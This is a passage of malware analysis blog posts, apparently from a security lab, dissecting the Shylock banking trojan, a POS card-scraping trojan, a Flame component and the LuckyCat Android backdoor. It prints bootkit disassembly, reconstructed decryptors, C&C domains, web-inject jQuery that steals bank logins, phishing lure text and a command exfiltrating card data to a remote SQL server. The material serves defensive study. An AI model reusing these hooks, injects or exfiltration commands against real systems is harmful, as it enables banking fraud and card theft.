    MEM:9E0F0   mov   eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
    MEM:9E0F4 mov dword ptr es:INT13HANDLER, eax ; save into JMP instr below
    MEM:9E0F9 mov word ptr ds:offset_4c, offset Int13Hook ; place the hook
    MEM:9E0FF mov word ptr ds:offset_4e, es
    MEM:9E103 sti
    MEM:9E104 popad
    MEM:9E106 pop ds
    MEM:9E107 pop sp
    MEM:9E108 jmp start ; just to BOOTORG (0000h:7C00h)

    With the INT 13h replaced, the original vector stored at ds:offset_4c will now contain 9E10D - the address of the INT 13h hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h call will eventually be invoked by MBR code - this is when the hook handler will be activated.

    The INT 13H hook handler is interested in 2 types of INT 13 - normal sector read and an extended one used with the larger disks, as shown below:

    MEM:9E10D Int13Hook proc far
    MEM:9E10D pushf ; handle two types of INT 13 below:
    MEM:9E10E cmp ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
    MEM:9E111 jz short Int13Hook_ReadRequest
    MEM:9E113 cmp ah, 2 ; 2) DISK - READ SECTOR(S) INTO MEMORY
    MEM:9E116 jz short Int13Hook_ReadRequest
    MEM:9E118 popf
    MEM:9E119
    MEM:9E119 [jmp opcode, followed with the original INT 13 vector]
    MEM:9E11A INT13HANDLER db 4 dup(0) ; original vector is stored here
    MEM:9E11E
    MEM:9E11E Int13Hook_ReadRequest:
    MEM:9E11E mov byte ptr cs:INT13LASTFUNCTION, ah
    MEM:9E123 popf
    MEM:9E124 pushf ; push Flags, simulating INT
    MEM:9E125 call dword ptr cs:INT13HANDLER ; call original handler
    MEM:9E12A jb short Int13Hook_ret ; quit if failed
    MEM:9E12C pushf
    MEM:9E12D cli
    MEM:9E12E push es
    MEM:9E12F pusha
    MEM:9E130 [mov ah, ??] opcode - operand is patched at MEM:9E11E
    MEM:9E131 INT13LASTFUNCTION:
    MEM:9E131 [mov ah, ??] operand, 0 by default
    MEM:9E132 cmp ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
    MEM:9E135 jnz short Int13Hook_notextread
    MEM:9E137 lodsw
    MEM:9E138 lodsw
    MEM:9E139 les bx, [si]
    MEM:9E13B assume es:nothing

    The handler then scans and patches the code of OSLOADER module (part of NTLDR) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.

    To patch it in the right place, the scanner is looking for bytes F0 85 F6 74 21 80, as shown below:

    MEM:9E149 Int13Hook_scan_loop:
    MEM:9E149 repne scasb
    MEM:9E14B jnz short Int13Hook_scan_done
    MEM:9E14D cmp dword ptr es:[di], 74F685F0h ; F0 85 F6 74
    MEM:9E155 jnz short Int13Hook_scan_loop
    MEM:9E157 cmp word ptr es:[di+4], 8021h ; 21 80
    MEM:9E15D jnz short Int13Hook_scan_loop

    These bytes correspond to the following code of the original loader:


    .text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
    .text:00422A6F 8B F0 mov esi, eax
    .text:00422A71 85 F6 test esi, esi
    .text:00422A73 74 21 jz short loc_46B46
    .text:00422A75 80 3D F8 AE 43 00 00 cmp byte_43AEF8, 0

    Once these bytes are found within OSLOADER, the kernel patch from the sector #58 is applied to the loader, by directly overwriting its bytes:



    The patched loader code may now look like this (compare to the original loader code above):

    .text:00422A6A E8 C2 12 00 00         call    near ptr unk_47DE1
    .text:00422A6F B8 33 E2 09 00 mov eax, offset off_9E233
    .text:00422A74 FF D0 call eax ; off_9E233
    .text:00422A76 90 nop
    .text:00422A77 90 nop
    .text:00422A78 90 nop
    .text:00422A79 90 nop
    .text:00422A7A 90 nop
    .text:00422A7B 90 nop
    .text:00422A7C 90 nop
    .....

    The address off_9E233 points to the code loaded from the sectors #58-#61, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.

    Main Shylock Module

    Main Shylock module is an executable that injects its code into other processes, communicates with C&C and fetches configuration files and plug-ins, fully monitors browsers Internet Explorer and Firefox, and provides full backdoor access to the compromised system. It is the remote configuration files that define its logic, such as what online banking sessions to intercept and how.

    Shylock is a VM-aware threat: its anti-sandboxing code enumerates all the drivers installed on a compromised system, and for every driver it calculates a hash of its name; if the returned name hash is black-listed, Shylock will exit.

    For example, on a snapshot below, Shylock returns a hash of 0x2FE483F3 for an enumerated driver vmscsi.sys (part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3, and in case of a match, it quits.



    In order to complicate code analysis and emulation, Shylock always calls APIs by their hashes. For instance, GetCommandLineA() is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E:



    The API hash calculation algorithm is trivial:

    DWORD GetHash(char *szApi)
    {
    DWORD dwHash = 0;
    for (DWORD i = 0; i < strlen(szApi); i++)
    {
    BYTE b = szApi[i];
    dwHash ^= b;
    __asm
    {
    ror dwHash, 3
    }
    if (b == 0)
    {
    break;
    }
    }
    return dwHash;
    }

    Shylock spawns separate threads for different plugins. For example, it injects BackSocks server DLL into svchost.exe and starts a remote thread in it.

    The trojan checks the host process name, and depending on the name, it installs different user-mode hooks for the process.

    If the host process is FireFox browser (FIREFOX.EXE), it will load nss3.dll and nspr4.dll. Next, it will place these hooks:

    nspr4.dll:
    • PR_Read

    • PR_Write

    • PR_Close

    nss3.dll:
    • CERT_VerifyCertName

    • CERT_VerifyCertNow

    If the host process Internet Explorer (IEXPLORE.EXE), it will load mshtml.dll and then place following hooks:

    ws2_32.dll:
    • send

    wininet.dll:
    • HttpOpenRequestA/W

    • HttpSendRequestA/W

    • HttpSendRequestExA/W

    • InternetReadFile

    • InternetReadFileExA/W

    • InternetCloseHandle

    • InternetQueryDataAvailable

    • InternetSetStatusCallback

    In case the host process is Windows Explorer (EXPLORER.EXE) or system processes USERINIT.EXE or RUNDLL32.EXE, then it will hook:

    ntdll.dll:
    • NtCreateThread/ZwCreateThread

    • NtCreateUserProcess/ZwCreateUserProcess

    • NtEnumerateValueKey/ZwEnumerateValueKey

    • NtQueryDirectoryFile/ZwQueryDirectoryFile

    user32.dll:
    • ExitWindowsEx

    • GetMessageW

    kernel32.dll:
    • HeapDestroy

    advapi32.dll:
    • InitiateSystemShutdownExW

    The purpose of the hooks above is to inject into newly launched processes and to hide its file/registry entries. If the user shuts down Windows, the hook handler will attempt to recreate the files and the start-up registry entries, in order to persist even the user has partially deleted this threat.

    Once activated, Shylock deletes all Firefox cookies. Next, it searches for and overwrites user.js files found in %APPDATA%\Mozilla\Firefox\Profiles directory, thus manipulating the following security settings of the Firefox browser:

    security.enable_tls = false
    network.http.accept-encoding = ""
    secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
    security.warn_viewing_mixed.show_once = false
    security.warn_submit_insecure = false
    security.warn_submit_insecure.show_once = false


    For example, whenever insecure form information is submitted, the "Security Warning" dialogue will not be displayed by Firefox - this will allow Shylock to have no objections from the browser when it tries to work with fake/redirected sites.

    It can also delete and upload Flash Player cookies (Local Shared Object - SOL files) stored in %APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.

    Internally, Shylock distinguishes itself running in one of 3 modes:
    • master

    • slave

    • plugin

    The 'master' is responsible for communication with the remote server, namely sending 'beacon' signals to the server, posting detailed computer information, reports/files, posting error logs, and polling the remote C&C server for configuration files on injection/redirection and other execution parameters. The 'master' may spawn a thread that will record the video of everything that occurs on the screen, and then upload the video to the remote server. In order to 'talk' to the 'slaves' and 'plugins', that are injected into other running processes, the 'master' uses Interprocess Communication Mechanism (IPC) via a named memory pipe that allows sharing data across all Shylock components running within the different processes.

    Shylock executable has a dedicated configuration stub in its image that is similar to ZeuS. For example, the C&C URLs and injections configuration file name are hard-coded in that stub as:
    • https://wguards.cc/ping.html

    • https://hiprotections.su/ping.html

    • https://iprotections.su/ping.html

    • /files/hidden7770777.jpg

    The usage of a stub suggests that Shylock executable is most likely compiled once with an empty stub, and then is dynamically 'patched' by a builder to embed different C&C URLs in it, with the string encryption routine being part of the builder.

    One of the configuration stub fields contains a timestamp of the date and time when the executable was generated. Shylock makes an attempt to avoid execution if current time is past the compilation time by more than 2 hours. But either due to a bug or a 'feature', the 2-hour time span ignores months, so it will run on a same day of every month of the same year, but only within the 2-hour 'window'. The 2-hour span means that Shylock allows only 'fresh' installations/executions of itself, when the C&C embedded into executable are live, or otherwise, it is risking to be exposed by constantly pinging non-existent (or taken down) domains, ringing all the bells within intrusion/anomaly detection systems.

    All strings are encrypted with a random key that is stored together with an encrypted string. The key is saved into 4 bytes, is followed by 4 zero-bytes, and then followed with the encrypted data. The code decrypts the strings on-the-fly: first, it makes an integrity check by applying the key to the encrypted data and making sure the original string has at least 2 characters in it. Next, it decrypts the string itself.

    The reconstructed string checker and decryptor would look like:

    int iGetEncodedStringLen(DWORD dwKey, char *szString)
    {
    int iResult;
    int iCount;

    if (szString)
    {
    iCount = 0;
    if ((BYTE)dwKey ^ *(LPBYTE)szString)
    {
    do
    {
    ++iCount;
    dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
    }
    while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
    }
    iResult = iCount;
    }
    else
    {
    iResult = 0;
    }
    return iResult;
    }

    void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
    {
    char b1;
    char b2;
    bool bEndOfString;

    if (szEncrypted)
    {
    while (1)
    {
    b1 = *(LPBYTE)szEncrypted;
    b2 = dwKey ^ *(LPBYTE)szEncrypted;
    *(LPBYTE)szEncrypted = b2;
    if (iFlag == 1)
    {
    bEndOfString = b2 == 0;
    }
    else
    {
    if (iFlag)
    {
    goto skip_check;
    }
    bEndOfString = b1 == 0;
    }
    if (bEndOfString)
    {
    return;
    }
    skip_check:
    szEncrypted = (char *)szEncrypted + 1;
    dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
    }
    }
    }

    so that the encrypted C&C URL below:


    char szTest[] = "\xE7\xEB\xBB\x91" // key
    "\x00\x00\x00\x00" // 4 zeroes
    "\x8F\xC8\xB9\x9A\xD0\x72\xC6\x79\x68\xF3"
    "\xB0\xE3\x29\xC4\x12\x40\x34\x0F\x92\x6A"
    "\x7A\x96\xBE\xA8\xE7\x30\xD8\xDE\xCB";

    can now be decrypted as:

    if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
    {
    DecodeString(szTest + 8, *(DWORD*)szTest, 1);
    MessageBoxA(NULL, szTest + 8, NULL, MB_OK);
    }



    A stand-alone tool that relies on such decryptor allows decrypting and patching all 751 strings within the Shylock executable to further facilitate its static analysis.

    When Shylock communicates with the remote C&C server, it relies on HTTPS. Apart from that, the transferred data is encrypted with RC4 algorithm. Shylock takes one of C&C server URLs stored in its configuration stub, and prepends it with a random string, delimited with a dot. For example, wguards.cc becomes ei0nciwerq7q8.wguards.cc.

    The modified domain name will successfully resolve and will be used for communications. The same domain name will then be used to form an encryption key - Shylock appends a hard-coded string 'ca5f2abe' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z= URL parameter in it, e.g.:

    http://ei0nciwerq7q8.wguards.cc/ping.html?z=[encrypted_data]

    where [encrypted_data] is a result of:

    url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))

    The C&C server thus reads z= parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe' string appended and used as a password, then url-unescapes the resulting data which is a plain text.

    By taking the source code of the functions rc4_init() and rc4_crypt(), published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:



    As seen on a picture, the posted 'cmpinfo' data is accompanied with a control sum and a hash to ensure data integrity ('key' and 'id'), it shows an installation mode ('master'), botnet name ('net2'), command name ('log'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.

    The executable drops its own copy as a temp file, registers itself in a start-up registry key, then injects into svchost.exe and explorer.exe and runs a self-termination batch script, thus quitting its 'installation' phase of running.

    When Shylock requests configuration data from the server, it uses a 'cmd' (command) parameter set to 'cfg' (configuration).

    Let's manually construct a request 'net=net2&cmd=cfg', then feed it to the debugged code to calculate the 'key' and 'id' parameters for us. The resulting request will be:

    key=a323e7d52d&id=47E8ABF258AB82ECEF14F79B37177391&inst=master&net=net2&cmd=cfg

    The C&C we'll use will be https://y85rqmnuemzxu5z.iprotections.su/ping.html, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe', and then base64-encode it. The server will reply the base64-encoded text to such request, transferred via HTTPS:



    Once this response is base64-decoded, it needs to be decrypted. The key used to encrypt this data is not the same as before. It is an 'id' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:
    <hijackcfg>      <botnet name="net2"/>      <timer_cfg success="1200" fail="1200"/>      <timer_log success="600" fail="600"/>      <timer_ping success="1200" fail="1200"/>      <urls_server>            <url_server url="https://protections.cc/ping.html"/>            <url_server url="https://eprotections.su/ping.html"/>            <url_server url="https://iprotections.su/ping.html"/>      </urls_server>      ... and so onThe XML enlists other plugin URLs, backconnect server IP and port number used by the reverse SOCKS proxy server connection for live VNC sessions, URL of the latest Shylock executable for an update. All the most important plugins contained in the configuration file were already explained before. The C&C list is refreshed with the new servers. The last remaining bit here is an 'httpinject' parameter specified as:
    <httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>
    It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.

    The downloaded file is compressed with zlib v1.2.3; once decompressed, it shows all web inject logic employed by Shylock.

    Web Injects

    The web injects of Shylock work by intercepting online banking sessions and injecting extra HTML data. Analysis of the configuration data suggests that Shylock attacks mostly UK banks.

    There are several types of data that Shylock replaces on a web page. In one type, Shylock replaces the phone numbers provided at the bank's site. In the example below, the trojan modifies the bank's complaint form - an inset shows what the original form is replaced with:



    In other cases, the web pages themselves are not modified - only the enlisted phone numbers are replaced.

    Calling the replacement phone number leads to the following auto-reply message (actual audio recording):

    Auto Reply Message

    The injection of the phone numbers into the web sites are most likely designed to prevent resolution scenarios when customers receive a phishing email, or get concerned about the stolen funds or compromised accounts. In case of a security breach, the natural thing to do for many is to open the bank's website and look up the telephone numbers to call the bank and cancel the credit card, or lock other accounts. By accessing the bank site through the same compromised system, the issues that need to be addressed as quick as possible, might not be addressed when the time is critical.

    Apart from the phone number replacements, online banking login forms are simply blocked from being displayed by settings their CSS style into:
    style="display:none;"
    In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's .clone() command:
    var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');
    The screenshot below shows the result of such cloning:



    The original login form is then hidden from the user:
    jQuery(this).hide();
    Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
    jQuery('#usr_name').val(lvltxt.qqqrcs06tl9npo);
    jQuery('#usr_password').val(lvltxt.pwd);
    jQuery('.login-button:first').find('div').click();
    In the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with XDomainRequest()).

    The injects that collect personal information use tricky social engineering tactics, referring to existing malware as a leverage to build trust to the compromised session:

    Attention! Due recent new strains of malicious software such as Zeus and Spy Eye that have been targeting users of US Internet Banking website, we are forced to perform additional security checks on your computer.
    We are now checking your system to make sure that your connection is secure. It allows us to ensure that your system is not infected.
    Checking your settings frequently, allows you to keep your data intact. Keeping your Anti-Virus programs up to date is strongly recommended.
    This process undergoes an additional layer of protection, identifying you as the authorised account user. Interrupting the test may lead to a delay in accessing your account online.
    Checking browser settings...0%
    Checking log files...
    Checking encryption settings...


    Another example:

    A critical error has occurred. We could not recognize Your internet browser's security settings. This could be because You are using different web browser or different PC.
    In order to confirm Your identify, we will send you a text message with one time password.
    Below is the contact information we have on record for you that is eligible for the security check. If you have recently changed your contact information it may not be displayed.
    Note: For security reasons, we have hidden parts of your contact information below with "xxx"


    The injected scripts are relying on a powerful and modern script engine JQuery that allows Shylock to manipulate online banking sessions the way it needs to. The harvested credit card numbers are even queried against the remote attacker's site to undergo a validation. The scripts it injects download other scripts hosted at the malicious websites, so that the manipulation logic can be updated any moment without even touching the command-and-control servers.

    Conclusion

    What makes Shylock dangerous is that it's a classic 'Blended Threat' by definition: a combination of best-of-breed malware techniques that evolved over time:
    • Disk spreader, Skype spreader

    • Kernel-mode rootkit, Bootkit

    • VNC with Back-connect Proxy server

    • FTP credentials stealer

    • Banking Trojan

    Its technology is out there, 'in the wild', all it takes now is to change the inject scripts to start targeting any other bank in the world. As it already happened before with ZeuS, it is now a matter of time before it starts targeting other banks' customers.

  • PIN or Sign?

    Bae Systems Detica
    This week our lab came across an interesting trojan that targets point-of-sale (POS) terminals. This type of malware is relatively new, but it quickly gains traction - and here is why:

    Conventional 'card skimming' practice is increasingly becoming prohibitive for the criminals - too much exposure, too much risk, and too little reward. The Australian Police force is also becoming very effective in busting the masterminds of card skimming rackets.

    As a result, the criminals have started looking for new methods of compromising credit cards (well, they never stopped), and this particular trojan is a good evidence of their aspirations to evolve.

    The trojan targets one particular type of POS software - StoreLine WinPOS, developed by Retalix.

    For reference, large retail companies in Australia and New Zealand are now entering into agreement with Retalix to provide support for thousands of point-of-sale (POS) terminals, serving millions of customers every week.

    Operation in a nutshell

    As seen in this example, the StoreLine WinPOS software can be used at petrol stations. It is installed both at the main back office server, and at the cash office workstations, to handle checkout transactions. As soon as a customer swipes credit card to make a purchase, the data read from the credit card's magnetic stripe (the contents of tracks #1 and #2) gets processed by the software. At this point, the trojan intercepts the data right from the memory of the process PosW32.exe, locates the tracks' data, then encrypts it and posts it to a remote server.

    Once the attackers retrieve intercepted credit card details from the remote server, they can now clone the credit cards, and use them to clear the funds. This way, the actual robbery is committed long time after the details are hijacked, it happens at the scattered locations, and is not limited with the cash amounts kept at the store.

    One approach to infect the servers running the POS software assumes an insider job, either from (corrupt) technical personnel or someone else who has physical access to the point-of-sale hardware or its network.

    Technical Details

    Once executed, the trojan performs the following actions:

    • Creates a service called Retalix; the service is set up to ignore errors, and auto-start with the start of the system

    • Sets its own full path name as an executable path for the newly created service

    • Changes the failure action parameters of a service (SERVICE_CONFIG_FAILURE_ACTIONS) so that in case of a failure, the service gets restarted 2 minutes after first, second and any subsequent failure within the service

    • Runs:
      cmd /c net start Retalix
      in order to start itself as a service

    Once the trojan is started as a service, it grants itself SeDebugPrivilege and SeTcbPrivilege privileges that allow it to call debugging functions, such as ReadProcessMemory(), and act as part of the operating system.

    Next, it enumerates all the processes with EnumProcesses() in order to find a process called PosW32.exe - the targeted StoreLine WinPOS software. If this process exists, it will then read its memory with ReadProcessMemory() and parse it looking for the field separator characters such as '^' and '='. These separators are used to analyse data found between them, validate it to make sure it consists of allowed characters only and that the data length is valid too. This way, the malware detects data stored on tracks 1 and 2 of the credit card's magnetic stripe in a specific format, similar to the one below:

    Track 1:   %B4711223344556677^CITIZEN/JOHN^1501101000000012300000?
    Track 2:   ;4711223344556677=15011010000012300000?

    where:
    • 4711 2233 4455 6677 - credit card number

    • JOHN CITIZEN - card holder

    • 1501 - expiry date (January 2015)

    • 1 - International interchange OK

    • 0 - Normal

    • 1 - No restrictions, No PIN required

    • ...

    • 123 - Card Verification Value or Card Verification Code (CVV/CVC)

    As soon as the tracks' data is recovered, the trojan encodes it with Base64 algorithm, using a custom alphabet.

    The encoded data is then submitted to a remote SQL server by running a stand-alone tool with the following parameters:

    svchosts.exe -S MFS1 -U sa -P -Q "INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=[REMOTE_IP],443;uid=sa;pwd=[PASSWORD]', 'SELECT tab from rec..tbl') SELECT '[ENCRYPTED_DATA]'"

    The [REMOTE_IP] is the IP address of the remote SQL server. In the analysed sample, there are 2 IP addresses used - one hosted in Romania, and another one hosted in Germany.

    The trojan relies on existence of the tool svchosts.exe, that could be a legitimate SQL command line tool similar to DTM ODBC SQL runner.

    The database it tries to populate is called 'rec', the table is 'tbl'. The switch -S seems to specify the client's host name - 'MFS1', which is identical to the main back office server name of the Retalix system, where the store environment is managed from, and where the data on the POS is maintained. This indicates that the trojan aims to be installed at the back office, as shown below:



    Conclusion

    By attacking POS infrastructure, no skimming devices, no high risks, and no travelling (as demonstrated in this video) is required anymore.

    With all the other security mechanisms around the other parts of the transaction (guards, CCTV, traffic encryption, etc.), attackers seem to have shifted their focus to a weaker link of the chain.

  • Flame: msglu32.ocx, Component That Can Track Location

    Bae Systems Detica
    This particular DLL component of the Flame threat is designed to locate various files in the system, read their contents and populate the SQL database with the file contents and characteristics. In addition, this file is capable of collecting geographical identification metadata that may be present in the files it inspects.

    The string decryptor is slightly different this time:

    void decrypt(int result, int iCount)
    {
    int i1, i2, i3, i4;

    i1 = result;
    if (iCount)
    {
    i2 = 11 - result;
    do
    {
    i3 = i1 + i2;
    i4 = i3 + 12;
    result = i3 * i4;
    *(BYTE *)i1 -= result ^ ((i3 * i4) >> 8) ^
    ((i3 * i4) >> 16) ^ ((i3 * i4) >> 24);
    ++i1;
    --iCount;
    }
    while (iCount);
    }
    }

    void Decrypt3(LPBYTE lpBuffer)
    {
    if (lpBuffer[16]) // 16th byte is a flag "encrypted"
    {
    decrypt((int)(lpBuffer + 20), (int)lpBuffer[18]);
    // 18th byte is the string size
    // 20th byte is where encrypted bytes start
    lpBuffer[16] = 0; // clear "encrypted" flag (16th byte)
    }
    }

    Feeding it the string below:

    BYTE szTest3[] =
    {
    0xA7,0xC9,0xDF,0xF8,0x30,0x0C,0x52,0x9D,0x0C,0x7F,0xB5,0x32,0x2B,0x05,0xC6,0x08,
    0x05,0xD5,0x26,0x00,0x74,0x21,0xA5,0x6D,0x0B,0xC1,0x54,0x1E,0xB0,0x82,0x24,0xEE,
    0xA0,0x63,0xFF,0xDF,0x7A,0x64,0x03,0xE8,0x9F,0x85,0x3E,0x1A,0xD0,0xC6,0x73,0x6B,
    0x34,0x28,0xD6,0xD4,0x96,0xA9,0x78,0x66,0x42,0x4B,0x00,0x00,0x68,0xB8,0xE7,0x8A,
    0x23,0x51,0x36,0x5C,0xCD,0xC3,0x4D,0xE4,0xF2,0xE5,0xCC,0xA3,0x00
    };
    Decrypt3(szTest3);

    produces the following result:

        A7 C9 DF F8 30 0C 52 9D 0C 7F B5 32 2B 05 C6 | ....0.R....2+..
        08 00 D5 26 00 77 00 61 00 77 00 68 00 61 00 | ...&.w.a.w.h.a.
        6D 00 7A 00 61 00 61 00 62 00 6F 00 76 00 65 | m.z.a.a.b.o.v.e
        00 61 00 72 00 61 00 62 00 69 00 63 00       | .a.r.a.b.i.c.

    The file is capable of locating the following files:
    • Wicrosoft Word documents

    • Microsoft Excel spreadsheets

    • Microsoft PowerPoint slides

    • Microsoft Access Databases

    • Microsoft Outlook objects (IPM Notes, Appointments, Schedule/Meeting Requests)

    • AutoCAD Drawings

    • Visio Drawings

    • PDF Documents

    • Image files (JPEG, BMP, TIFF, PNG, GIF)

    For every document, the DLL collects file characteristics, such as:
    • Modification Date

    • Creation Date

    • Creator

    • Author

    • Comments

    • Company

    • Producer

    • Title

    • Info

    • Revision number

    • Number of Keywords

    The information about located files can then be stored in the database. That data is added and queried with the SQL commands, such as:
    • INSERT INTO Media (Type, MediumDescription) VALUES ('%s', '%s')

    • SELECT State FROM Pst_States WHERE FileName=? AND Size=%u AND LastModification=%I64d

    The module contains a large table that consists of 4,173 Postscript glyph names, such as 'alefhamzabelowfinalarabic' or 'alefqamatshebrew'. This table is used to convert Postscript glyph names into Unicode codes - presumably to be able to parse the content of Adobe PDF documents written in Unicode Character Entities, such as Hebrew or Arabic.

    The DLL is aware of the presence of the security product by inspecting the registry entries:
    • HKLM\SOFTWARE\KasperskyLab\AVP6

    • HKLM\SOFTWARE\KasperskyLab\protected\AVP7

    If the files it inspects include geographical identification metadata (geotagging), it will extract the following data:
    • GPS Latitude

    • GPS Latitude Ref

    • GPS Longitude

    • GPS Longitude Ref

    • GPS Altitude

    • GPS Altitude Ref

    This geotagging data may be present within the images, as shown below:


    Image Source: Wikipedia, Geotagging

    Some cameras use automatic picture geotagging with a built-in GPS receiver (such as Panasonic Lumix DMC-TZ10, Sony Alpha 55V, or Canon PowerShot SX230/SX260). Many mobile phones use either a built-in GPS receiver or a Wi-Fi positioning (assisted GPS) to embed geotagging in the photos by default.

    Retrieving the geotagging data allows this Flame component to find GPS coordinates of the location where the pictures were taken, or with some statistical probability, where the compromised system is (has been) located:

    .text:100C5DE8 sub_100C5DE8 proc near
    .text:100C5DE8 push offset aGps_latitude ; "GPS_LATITUDE"
    .text:100C5DED call decrypt_string
    .text:100C5DF2 pop ecx
    .text:100C5DF3 push eax
    .text:100C5DF4 push offset GPS_LATITUDE
    .text:100C5DF9 call copy_string
    .text:100C5DFE push offset sub_100F32F8
    .text:100C5E03 call _atexit
    .text:100C5E08 pop ecx
    .text:100C5E09 retn
    .text:100C5E09 sub_100C5DE8 endp

    The code is also capable of enumerating and terminating the following processes found on a compromised system:
    • AntiHook.exe

    • EngineServer.exe

    • FAMEH32.exe

    • FCH32.exe

    • Filemon.exe

    • FPAVServer.exe

    • FProtTray.exe

    • FrameworkService.exe

    • fsav32.exe

    • fsdfwd.exe

    • fsgk32.exe

    • fsgk32st.exe

    • fsguidll.exe

    • FSM32.exe

    • FSMA32.exe

    • FSMB32

    • fspc.exe

    • fsqh.exe

    • fssm32.exe

    • jpf.exe

    • jpfsrv.exe

    • mcagent.exe

    • mcmscsvc.exe

    • McNASvc.exe

    • McProxy.exe

    • McSACore.exe

    • Mcshield.exe

    • mcsysmon.exe

    • McTray.exe

    • mcupdmgr.exe

    • mfeann.exe

    • mfevtps.exe

    • MpfSrv.exe

    • naPrdMgr.exe

    • procexp.exe

    • PXAgent.exe

    • PXConsole.exe

    • shstat.exe

    • sp_rsser.exe

    • SpywareTerminator.exe

    • SpywareTerminatorShield.exe

    • UdaterUI.exe

    • VsTskMgr.exe
  • Lucky Cat is a Threat?

    Bae Systems Detica

    Trend Micro has released report on another Android threat called LuckyCat.

    What puts this threat aside is its blunt backdoor functionality that allows it to be used as a remote administration tool, giving the attackers full control over the compromised Android device.

    The trojan arrives as a package named com.testService. The APK file name could be AQS.apk or testService.apk. Both samples are almost identical - one has a standard Android icon, another one has an 'empty' icon, as shown below:


    Apart from showing a toast message Service Start OK!, LuckyCat does not seem to do much more:

    Its main process com.testService will take 1,336 Kb in memory. However, once activated, the trojan registers a broadcast receiver that gets triggered on a BOOT_COMPLETED event:

    public synchronized class TServiceBroadcastReceiver extends BroadcastReceiver
    {
    private static final String ACTION = "android.intent.action.BOOT_COMPLETED";
    public TServiceBroadcastReceiver()
    {
    }
    public void onReceive(Context context, Intent intent1)
    {
    ComponentName componentName;
    if (intent1.getAction().equals("android.intent.action.BOOT_COMPLETED"))
    {
    Intent intent2 = new Intent("android.intent.action.RUN");
    Intent intent3 = intent2.setClass(context, TService);
    Intent intent4 = intent2.setFlags(268435456);
    componentName = context.startService(intent2);
    }
    }
    }

    Whenever the device boots up, the trojan will launch its own service TService that will run as a process com.testService:remote, taking 1,060 Kb out of RAM.

    The trojan reads the state of the device SIM card by calling getSimState() method, as shown below:

    public String getPhoneNumber()
    {
    StringBuffer stringBuffer1;
    String string2;
    StringBuffer stringBuffer2;
    StringBuffer stringBuffer3;
    StringBuffer stringBuffer4;
    StringBuffer stringBuffer5;
    StringBuffer stringBuffer6;
    String string1;
    TelephonyManager telephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone");
    stringBuffer1 = new StringBuffer();
    switch (telephonyManager.getSimState())
    {
    case 1:
    stringBuffer2 = stringBuffer1.append("\u65e0\u5361");
    string2 = stringBuffer1.toString();
    break;
    case 0:
    stringBuffer3 = stringBuffer1.append("\u672a\u77e5\u72b6\u6001");
    string2 = stringBuffer1.toString();
    break;
    case 4:
    stringBuffer4 = stringBuffer1.append("\u9700\u8981NetworkPIN\u89e3\u9501");
    string2 = stringBuffer1.toString();
    break;
    case 2:
    stringBuffer5 = stringBuffer1.append("\u9700\u8981PIN\u89e3\u9501");
    string2 = stringBuffer1.toString();
    break;
    case 3:
    stringBuffer6 = stringBuffer1.append("\u9700\u8981PUK\u89e3\u9501");
    string2 = stringBuffer1.toString();
    break;
    default:
    string1 = telephonyManager.getLine1Number();
    break;
    }
    return string1;
    }

    As shown in the listing above, the reported SIM card states are:

    • 无卡 (No card)

    • 未知状态 (Unknown state)

    • 需要NetworkPIN解锁 (Need Network PIN unlock)

    • 需要PIN解锁 (Require a PIN to unlock)

    • 需要PUK解锁 (Need PUK to unlock)

    • (The phone number string for line 1, e.g. MSISDN for a GSM phone)

    Once the data is collected, the trojan tries to send it over to the remote command-and-control server located at greenfuns.3322.org, port 54321.

    The data is compiled into a report that also contains local IP and MAC addresses. The report is wrapped with the strings ejsi2ksz and 369, and then encrypted on top with a XOR keys 0x05 and 0x27:

    public void encryptkey(byte[] paramArrayOfByte, int paramInt1, int paramInt2)
    {
    byte[] arrayOfByte1 = new byte[10240];
    byte[] arrayOfByte2 = new byte[4];
